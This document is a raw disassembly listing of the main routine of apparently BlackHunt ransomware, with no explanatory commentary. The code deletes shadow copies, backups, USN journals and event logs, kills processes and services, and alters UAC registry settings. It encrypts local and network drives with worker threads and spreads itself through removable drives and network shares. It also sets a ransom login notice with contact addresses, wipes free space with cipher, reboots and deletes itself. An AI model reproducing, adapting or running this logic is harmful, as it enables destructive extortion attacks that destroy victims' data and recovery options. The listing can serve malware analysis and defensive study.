movups xmm0, xmmword [str.Deleting_ShadowCopies]
mov eax, dword [0x44ebfc]
add esp, 4
mov dword [0x4798d0], eax
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x44ebe4]
push 7
push 0
movups xmmword [0x4798b8], xmm0
push 0
movq xmm0, qword [0x44ebf4]
movq qword [0x4798c8], xmm0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
cmp dword [0x479898], 0
je 0x4043d0
push str.KILL_Process_and_services...
call fcn.00401d20
movups xmm0, xmmword [str.Kill_Processes]
mov eax, dword [0x44ec54]
add esp, 4
mov dword [0x4798c0], eax
mov ax, word [0x44ec58]
movups xmmword [0x4798a8], xmm0
mov word [0x4798c4], ax
movq xmm0, qword [0x44ec4c]
movq qword [0x4798b8], xmm0
call fcn.004056e0
movups xmm0, xmmword [str.Kill_Services]
mov eax, dword [0x44ec74]
mov dword [0x4798c0], eax
movups xmmword [0x4798a8], xmm0
movq xmm0, qword [0x44ec6c]
movq qword [0x4798b8], xmm0
call fcn.00405830
lea eax, [esp + 0x30]
mov dword [esp + 0x28], 0
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40447f
push str.reg_Open_Key_Success.
call fcn.00401d20
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [esp + 0x2c]
add esp, 4
push 4
push eax
push 4
push 0
push str.EnableLUA
push dword [esp + 0x28]
call ebx
test eax, eax
jne 0x404437
push str.reg_LinkedConnection_value_set_successfully.
jmp 0x40443c
push str.reg_LinkedConnection_value_set_ERROR.
call fcn.00401d20
add esp, 4
mov dword [esp + 0x28], 1
lea eax, [esp + 0x28]
push 4
push eax
push 4
push 0
push str.EnableLinkedConnections
push dword [esp + 0x28]
call ebx
test eax, eax
jne 0x404475
push str.reg_EnableLUA_value_set_successfully.
call fcn.00401d20
add esp, 4
jmp 0x40448f
call esi
push eax
push str.reg_EnableLUA_value_set_ERROR__GetLastError_:__lu_.
jmp 0x404487
call esi
push eax
push str.reg_Open_Key_ERROR__GetLastError_:__lu_.
call fcn.00401d20
add esp, 8
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 1
call dword [sym.imp.USERENV.dll_RefreshPolicyEx]
test eax, eax
jne 0x4044b9
call esi
push eax
push str.Group_Policy_Refresh_Failed__GetLastError_:__lu_.
call fcn.00401d20
add esp, 8
jmp 0x4044c6
push str.Group_Policy_Update_Successfully.
call fcn.00401d20
add esp, 4
movups xmm0, xmmword [str.resize_shadow_space]
push str.resizing_shadow_space...
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x44efdc]
movups xmmword [0x4798b8], xmm0
movq xmm0, qword [0x44efec]
movq qword [0x4798c8], xmm0
call fcn.00401d20
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add esp, 4
xor esi, esi
push dword [esi + 0x463760]
call ebx
cmp eax, 1
je 0x40455c
push dword [esi + 0x463760]
call ebx
cmp eax, 5
je 0x40455c
push dword [esi + 0x463760]
call ebx
cmp eax, 6
je 0x40455c
push dword [esi + 0x463760]
call ebx
test eax, eax
je 0x40455c
mov ecx, dword [esi + 0x463760]
call fcn.004033c0
test eax, eax
je 0x40455c
push dword [esi + 0x463760]
push str.resize_shadow_space._PATH_:__s
call fcn.00401d20
add esp, 8
add esi, 4
cmp esi, 0x68
jb 0x404507
xor esi, esi
nop word [eax + eax]
movups xmm0, xmmword [str.Delete_ShadowCopies]
mov ecx, dword [esi + 0x443174]
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x44f078]
movups xmmword [0x4798b8], xmm0
movq xmm0, qword [0x44f088]
movq qword [0x4798c8], xmm0
call fcn.00402f10
add esi, 4
cmp esi, 0x18
jb 0x404570
movups xmm0, xmmword [str.Deleting_Backups]
mov ax, word [0x44f0b0]
mov word [0x4798c8], ax
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x44f0a0]
movups xmmword [0x4798b8], xmm0
call fcn.00403740
cmp eax, 1
jne 0x4045e8
push str.Load_Hidden_Drives_Successfully.
jmp 0x4045ed
push str.Load_Hidden_Drives_ERROR.
call fcn.00401d20
add esp, 4
cmp dword [0x47a30c], 0
je 0x40462c
movups xmm0, xmmword [str.Network_Scanner]
push str.Waiting_for_Network_Scanner_...
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x44f140]
movups xmmword [0x4798b8], xmm0
call fcn.00401d20
add esp, 4
call fcn.004081d0
cmp dword [0x479b08], 0
je 0x404642
push str.main_create_queue_and_workers
call fcn.00401d20
add esp, 4
call fcn.00406210
test eax, eax
jne 0x404658
push str.Initialize_Queue_Failed.
call fcn.00401d20
add esp, 4
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [0x4788e4], 0
jne 0x40467f
mov eax, dword [esp + 0x48]
cmp eax, 6
ja 0x40467a
lea esi, [eax + eax]
jmp 0x404684
lea esi, [eax + eax*2]
jmp 0x404684
mov esi, 1
push esi
push str.Max_Worker_Set_:__d
mov dword [esp + 0x20], esi
call fcn.00401d20
add esp, 8
lea ecx, [esi*4]
call fcn.004056b0
xor esi, esi
mov dword [esp + 0x10], eax
cmp dword [esp + 0x18], esi
jbe 0x4046ed
mov ebx, dword [esp + 0x18]
mov edi, eax
push 0
push 0
push 0
push 0x405fe0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + esi*4], eax
test eax, eax
jne 0x4046de
push esi
push str.Failed_to_create_thread__d
call fcn.00401d20
add esp, 8
inc esi
cmp esi, ebx
jb 0x4046b4
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov edi, dword [esp + 0x1c]
cmp dword [0x479b08], 0
je 0x404703
push str.main_Start_Encrypt
call fcn.00401d20
add esp, 4
movq xmm0, qword [str.Start]
mov eax, dword [0x44f290]
movq qword [0x4798a8], xmm0
mov dword [0x4798b0], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push dword [0x47989c]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
push str.ATTACK_MODE_:__d
shr edx, 6
mov dword [0x47810c], edx
call fcn.00401d20
add esp, 8
cmp dword [0x47989c], 0x3c
je 0x4049f1
mov eax, dword [0x44f2c8]
movups xmm0, xmmword [str.Encryption]
mov dword [0x4798b8], eax
mov ax, word [0x44f2cc]
push str.Start_Encrypt
movups xmmword [0x4798a8], xmm0
mov word [0x4798bc], ax
call fcn.00401d20
mov eax, dword [0x47989c]
add esp, 4
cmp eax, 0x1e
je 0x404954
cmp eax, 0xa
je 0x404868
xor esi, esi
nop
push 0
push 0x463760
push 5
push 0x200
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push dword [esi + 0x463760]
call ebx
cmp eax, 4
jne 0x404857
mov eax, dword [0x4788e4]
test eax, eax
jne 0x404834
push 8
call fcn.0040a413
mov ecx, dword [esi + 0x463760]
lea edx, [esp + 0x20]
add esp, 4
mov dword [esp + 0x1c], eax
mov dword [eax], ecx
lea ecx, [esp + 0x20]
mov dword [eax + 4], 0x403010
call fcn.004054c0
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x40480b
push 8
push eax
call fcn.0040a446
add esp, 8
lea ecx, [esp + 0x20]
call fcn.00402040
push dword [esi + 0x463760]
push str.shares_drive__s_thread_started_...
call fcn.00401d20
add esp, 8
cmp dword [esp + 0x24], 0
jne 0x4053c4
jmp 0x404857
cmp eax, 1
jne 0x404857
mov ecx, dword [esi + 0x463760]
call fcn.00406250
push dword [esi + 0x463760]
push str.shares_drive__s_encryption_started_...
call fcn.00401d20
add esp, 8
add esi, 4
cmp esi, 0x68
jb 0x4047a0
mov eax, dword [0x47989c]
cmp eax, 0x14
je 0x40499a
cmp dword [0x479b08], 0
je 0x404887
push str.main_Check_Drives_and_FindFiles
call fcn.00401d20
add esp, 4
xor esi, esi
nop dword [eax]
push dword [esi + 0x463760]
call ebx
cmp eax, 1
je 0x404946
push dword [esi + 0x463760]
call ebx
cmp eax, 5
je 0x404946
push dword [esi + 0x463760]
call ebx
cmp eax, 4
je 0x404946
cmp dword [0x4788e4], 0
jne 0x40491f
push 8
call fcn.0040a413
mov ecx, dword [esi + 0x463760]
lea edx, [esp + 0x20]
add esp, 4
mov dword [esp + 0x1c], eax
mov dword [eax], ecx
lea ecx, [esp + 0x20]
mov dword [eax + 4], 0x403010
call fcn.004054c0
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x404909
push 8
push eax
call fcn.0040a446
add esp, 8
lea ecx, [esp + 0x20]
call fcn.00402040
cmp dword [esp + 0x24], 0
jne 0x4053c4
jmp 0x40492a
mov ecx, dword [esi + 0x463760]
call fcn.00406250
push dword [esi + 0x463760]
call ebx
push eax
push dword [esi + 0x463760]
push str.Drive__s_Type_:__d
call fcn.00401d20
add esp, 0xc
add esi, 4
cmp esi, 0x68
jb 0x404890
jmp 0x40499a
movups xmm0, xmmword [str.Path_Encrypt]
mov ax, word [0x44f408]
push 0x478110
movups xmmword [0x4798a8], xmm0
push str.PATH_Encrypt_:__s
movq xmm0, qword [0x44f400]
movq qword [0x4798b8], xmm0
mov word [0x4798c0], ax
call fcn.00401d20
add esp, 8
mov ecx, 0x478110
call fcn.00406250
cmp dword [0x479b08], 0
je 0x4049b0
push str.main_WaitForWorker
call fcn.00401d20
add esp, 4
movups xmm0, xmmword [str.WaitForWorkers]
mov eax, dword [0x44f470]
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
movups xmmword [0x4798a8], xmm0
mov dword [0x4798c0], eax
movq xmm0, qword [0x44f468]
mov ax, word [0x44f474]
movq qword [0x4798b8], xmm0
mov word [0x4798c4], ax
call fcn.00405f40
push str.Encrypt_Complete
call fcn.00401d20
add esp, 4
cmp dword [0x479b08], 0
je 0x404a14
push str.main_Wait_For_Release_Key_Mutex
call fcn.00401d20
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
test eax, eax
jne 0x404a4f
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.cannot_release_mutex.
call fcn.00401d20
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push edi
call esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
test eax, eax
je 0x404a25
push str.Key_Mutex_released
call fcn.00401d20
movups xmm0, xmmword [str.Delete_Journals]
add esp, 4
xor esi, esi
mov dword [esp + 0x10], esi
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x44f544]
movups xmmword [0x4798b8], xmm0
nop
push dword [esi + 0x463760]
call ebx
cmp eax, 1
je 0x404b37
push dword [esi + 0x463760]
call ebx
cmp eax, 5
je 0x404b37
movups xmm0, xmmword [str._c_fsutil_usn_deletejournal__D]
push 0x1c0
lea eax, [esp + 0x9c]
movups xmmword [esp + 0x5c], xmm0
push 0
movups xmm0, xmmword [0x44f568]
push eax
movups xmmword [esp + 0x74], xmm0
movups xmm0, xmmword [0x44f578]
movups xmmword [esp + 0x84], xmm0
movups xmm0, xmmword [0x44f588]
movups xmmword [esp + 0x94], xmm0
call fcn.004220b0
mov edx, dword [esi + 0x463760]
add esp, 0xc
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x404af7
lea edi, [esp + 0x58]
sub edx, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x404b10
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x58]
call fcn.00402f10
mov esi, dword [esp + 0x10]
add esi, 4
mov dword [esp + 0x10], esi
cmp esi, 0x68
jb 0x404a80
cmp dword [0x479b08], 0
je 0x404b5d
push str.main_SelfSpread
call fcn.00401d20
add esp, 4
cmp dword [0x459970], 0
je 0x404cfe
movups xmm0, xmmword [str.Self_Spread]
push str.self_spread_using_removable_devices_...
movups xmmword [0x4798a8], xmm0
movq xmm0, qword [0x44f5c8]
movq qword [0x4798b8], xmm0
call fcn.00401d20
mov edi, dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
add esp, 4
xor esi, esi
nop dword [eax]
push dword [esi + 0x463760]
call ebx
cmp eax, 2
jne 0x404bc0
mov ecx, dword [esi + 0x463760]
call fcn.00403570
push dword [esi + 0x463760]
call edi
add esi, 4
cmp esi, 0x68
jb 0x404ba0
push str.self_spread_using_share_folders_...
call fcn.00401d20
add esp, 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x1c], 0
nop dword [eax]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x20]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x20]
push eax
push 1
push str.127.0.0.1
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
mov dword [esp + 0x20], eax
test eax, eax
je 0x404c26
cmp eax, 0xea
jne 0x404cfe
mov esi, dword [esp + 0x10]
mov edi, 1
cmp dword [esp + 0x18], edi
jb 0x404ce9
nop dword [eax]
mov eax, dword [esi + 4]
test eax, eax
je 0x404c52
cmp eax, 0x80000000
jne 0x404cd7
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jle 0x404cd7
push str.ADMIN_
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x404cd7
cmp dword [esi + 4], 0
jne 0x404cd7
push 0x44f68c
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.127.0.0.1
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x445880
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [esi]
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x445880
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [esp + 0x58]
call fcn.00403570
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
inc edi
add esi, 0xc
cmp edi, dword [esp + 0x18]
jbe 0x404c40
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
cmp dword [esp + 0x20], 0xea
je 0x404bf0
push str.Self_Spread_Complete
call fcn.00401d20
add esp, 4
xor esi, esi
nop dword [eax]
movups xmm0, xmmword [str.Delete_Windows_Logs]
mov ecx, dword [esi + 0x44318c]
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x44f6d0]
movups xmmword [0x4798b8], xmm0
movq xmm0, qword [0x44f6e0]
movq qword [0x4798c8], xmm0
call fcn.00402f10
add esi, 4
cmp esi, 0x14
jb 0x404d10
cmp dword [0x4788ec], 0
je 0x404e5e
movups xmm0, xmmword [str.Cipher_Drives]
mov eax, dword [0x44f700]
push str.cipher_config_enabled_...
movups xmmword [0x4798a8], xmm0
mov dword [0x4798c0], eax
movq xmm0, qword [0x44f6f8]
movq qword [0x4798b8], xmm0
call fcn.00401d20
add esp, 4
xor esi, esi
mov dword [esp + 0x10], esi
push dword [esi + 0x463760]
call ebx
cmp eax, 1
je 0x404e4e
push dword [esi + 0x463760]
call ebx
cmp eax, 5
je 0x404e4e
mov eax, dword [0x44f738]
mov dword [esp + 0x58], eax
mov eax, dword [0x44f73c]
push 0x1f8
mov dword [esp + 0x60], eax
lea eax, [esp + 0x64]
push 0
push eax
call fcn.004220b0
mov eax, dword [esi + 0x463760]
add esp, 0xc
mov edx, eax
mov dword [esp + 0x20], eax
mov esi, edx
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x404df0
lea edi, [esp + 0x58]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x404e04
push dword [esp + 0x20]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.rewrite__s
call fcn.00401d20
add esp, 8
lea eax, [esp + 0x58]
push 0
push 0
push eax
push str.CIPHER.EXE
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov esi, dword [esp + 0x10]
add esi, 4
mov dword [esp + 0x10], esi
cmp esi, 0x68
jb 0x404d97
xor esi, esi
movups xmm0, xmmword [str.Delete_ShadowCopies]
mov ecx, dword [esi + 0x443174]
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x44f078]
movups xmmword [0x4798b8], xmm0
movq xmm0, qword [0x44f088]
movq qword [0x4798c8], xmm0
call fcn.00402f10
add esi, 4
cmp esi, 0x18
jb 0x404e60
push 0x44f770
call fcn.00401d20
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esp, 4
push 0x810
push 8
push dword [0x47a330]
call esi
mov edi, eax
test edi, edi
je 0x404eb2
movups xmm0, xmmword [str.Setup_LoginMessage]
mov ecx, dword [0x44f798]
movzx eax, word [0x44f79c]
movups xmmword [0x4798a8], xmm0
mov dword [0x4798c8], ecx
mov ecx, str._c_REG_ADD__HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__legalnoticecaption___t_REG_SZ__d__WARNING_WARNING_WARNING._____f
movups xmm0, xmmword [0x44f788]
mov word [0x4798cc], ax
movups xmmword [0x4798b8], xmm0
call fcn.00402f10
push str._c_REG_ADD__HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__legalnoticetext___t_REG_SZ__d___Your_Network_Infected_With_BlackHunt_Ransomware_Team.___ALL_Your_important_Files_Encrypted_and_Stolen______Do_You_Want_Your_Files___read__ReadMe__Files_carefully_and_contact_us_by___
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.NCz45DXO7_gmail.com
push edi
call esi
push str.___AND___
push edi
call esi
push str.Teikobest_gmail.com
push edi
call esi
push str.______f
push edi
call esi
mov ecx, edi
call fcn.00402f10
push edi
push 0
push dword [0x47a330]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movups xmm0, xmmword [str.Enable_Registries]
mov eax, dword [0x44fb90]
mov ecx, str._c_SCHTASKS.exe__Delete__TN__Windows_Critical_Update___F
mov dword [0x4798c8], eax
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x44fb80]
movups xmmword [0x4798b8], xmm0
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableTaskMgr___t_REG_DWORD__d_0__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer___v__NoRun___t_REG_DWORD__d_0__f
call fcn.00402f10
movups xmm0, xmmword [str.Set_BackGround]
mov eax, dword [0x44fe28]
push 1
push str.C:ProgramDataBlackHunt_BG.jpg
movups xmmword [0x4798a8], xmm0
mov dword [0x4798c0], eax
movq xmm0, qword [0x44fe20]
movzx eax, word [0x44fe2c]
push 0
push 0x14
movq qword [0x4798b8], xmm0
mov word [0x4798c4], ax
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
cmp dword [0x478100], 0
je 0x405149
movups xmm0, xmmword [str.RenameFiles]
push str.Rename_silent_files_...
movups xmmword [0x4798a8], xmm0
movq xmm0, qword [0x44fe40]
movq qword [0x4798b8], xmm0
call fcn.00401d20
add esp, 4
xor esi, esi
push dword [esi + 0x463760]
call ebx
cmp eax, 1
je 0x4050ce
push dword [esi + 0x463760]
call ebx
cmp eax, 5
je 0x4050ce
cmp dword [0x4788e4], 0
jne 0x4050c0
push 8
call fcn.0040a413
mov ecx, dword [esi + 0x463760]
lea edx, [esp + 0x14]
add esp, 4
mov dword [esp + 0x10], eax
mov dword [eax], ecx
lea ecx, [esp + 0x20]
mov dword [eax + 4], fcn.004064f0
call fcn.004054c0
mov eax, dword [esp + 0x10]
test eax, eax
je 0x40507e
push 8
push eax
call fcn.0040a446
add esp, 8
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x405094
push 1
call fcn.00408e61
mov eax, dword [esp + 0x28]
add esp, 4
push eax
push dword [esp + 0x24]
call fcn.004097b1
add esp, 8
test eax, eax
je 0x4050ae
push eax
call fcn.00408e34
add esp, 4
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
jmp 0x4050ce
push dword [esi + 0x463760]
call fcn.004064f0
add esp, 4
add esi, 4
cmp esi, 0x68
jb 0x405012
push dword [0x478104]
push str.WORKERS_:__d
call fcn.00401d20
mov eax, dword [0x478104]
add esp, 8
test eax, eax
je 0x405131
mov esi, dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
nop dword [eax]
call esi
test eax, eax
jne 0x4051e9
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [0x478104]
push str.WORKERS_:__d
call fcn.00401d20
mov eax, dword [0x478104]
add esp, 8
test eax, eax
jne 0x405100
push eax
push str.WORKERS_:__d
call fcn.00401d20
push str.END_rename
call fcn.00401d20
add esp, 0xc
push str.mutex_successfully_released.
call fcn.00401d20
add esp, 4
push 0x44355c
push 0x444d80
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x405223
push eax
call fcn.0042400c
movups xmm0, xmmword [str.Going_to_Normal_Boot]
mov ax, word [0x44ff30]
add esp, 4
mov word [0x4798d0], ax
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x44ff18]
push str.in_safemode__Try_To_restart
movups xmmword [0x4798b8], xmm0
movq xmm0, qword [0x44ff28]
movq qword [0x4798c8], xmm0
call fcn.00401d20
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
add esp, 4
push 0x444d80
call edi
push 0x44355c
push 0x444d80
mov esi, eax
call fcn.00423e1c
add esp, 8
test eax, eax
jne 0x405210
test esi, esi
je 0x4051c4
jmp 0x405219
push str.debugger_FOUND
call fcn.00401d20
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3af8]
xor ecx, esp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
push eax
call fcn.0042400c
add esp, 4
mov ecx, str._c_shutdown__r__t_10__f
call fcn.00402f10
mov eax, dword [0x44ffac]
mov ecx, str._c_taskkill__IM_mshta.exe__f
movups xmm0, xmmword [str.Run_ReadMe]
mov dword [0x4798b8], eax
mov ax, word [0x44ffb0]
movups xmmword [0x4798a8], xmm0
mov word [0x4798bc], ax
call fcn.00402f10
mov ecx, str._c_notepad.exe_C:ProgramDataBlackHunt_ReadMe.txt
call fcn.00402f10
mov ecx, str._c_C:ProgramDataBlackHunt_ReadMe.hta
call fcn.00402f10
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov ecx, 0x3c
shr edx, 6
sub edx, dword [0x47810c]
mov eax, edx
xor edx, edx
div ecx
push edx
call esi
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, 0x88888889
shr edx, 6
sub edx, dword [0x47810c]
mul edx
shr edx, 5
push edx
push dword [0x4788e0]
push dword [0x47a308]
push str.___Encrypt_status____nFILES_ENCRYPTED_:__d_nFILES_NOT_ENCRYPTED_:__d_nRunning_Time_:__02dm:_02ds__n
call fcn.00401d20
add esp, 0x14
cmp dword [0x47a2e0], 0
je 0x405303
cmp dword [0x4788ec], 0
jne 0x405303
mov eax, dword [0x45017c]
mov ecx, str._c_shutdown__r__t_15__f
movups xmm0, xmmword [str.Restarting]
mov dword [0x4798b8], eax
mov ax, word [0x450180]
movups xmmword [0x4798a8], xmm0
mov word [0x4798bc], ax
call fcn.00402f10
push str.self_destruction_...
call fcn.00401d20
add esp, 4
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movups xmm0, xmmword [str.Self_Deletion]
mov eax, dword [0x4501f8]
mov dword [0x4798c0], eax
lea eax, [esp + 0x660]
push 0x104
movups xmmword [0x4798a8], xmm0
push eax
movq xmm0, qword [0x4501f0]
push 0
movq qword [0x4798b8], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x660]
push eax
lea eax, [esp + 0x86c]
push str._c_ping_127.0.0.1__n_5___nul__del___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x868]
push 0
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
movups xmm0, xmmword [str.Complete]
mov ax, word [0x450260]
mov word [0x4798b8], ax
movups xmmword [0x4798a8], xmm0
mov ecx, dword [esp + 0x3b04]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
call fcn.00426c6f
int3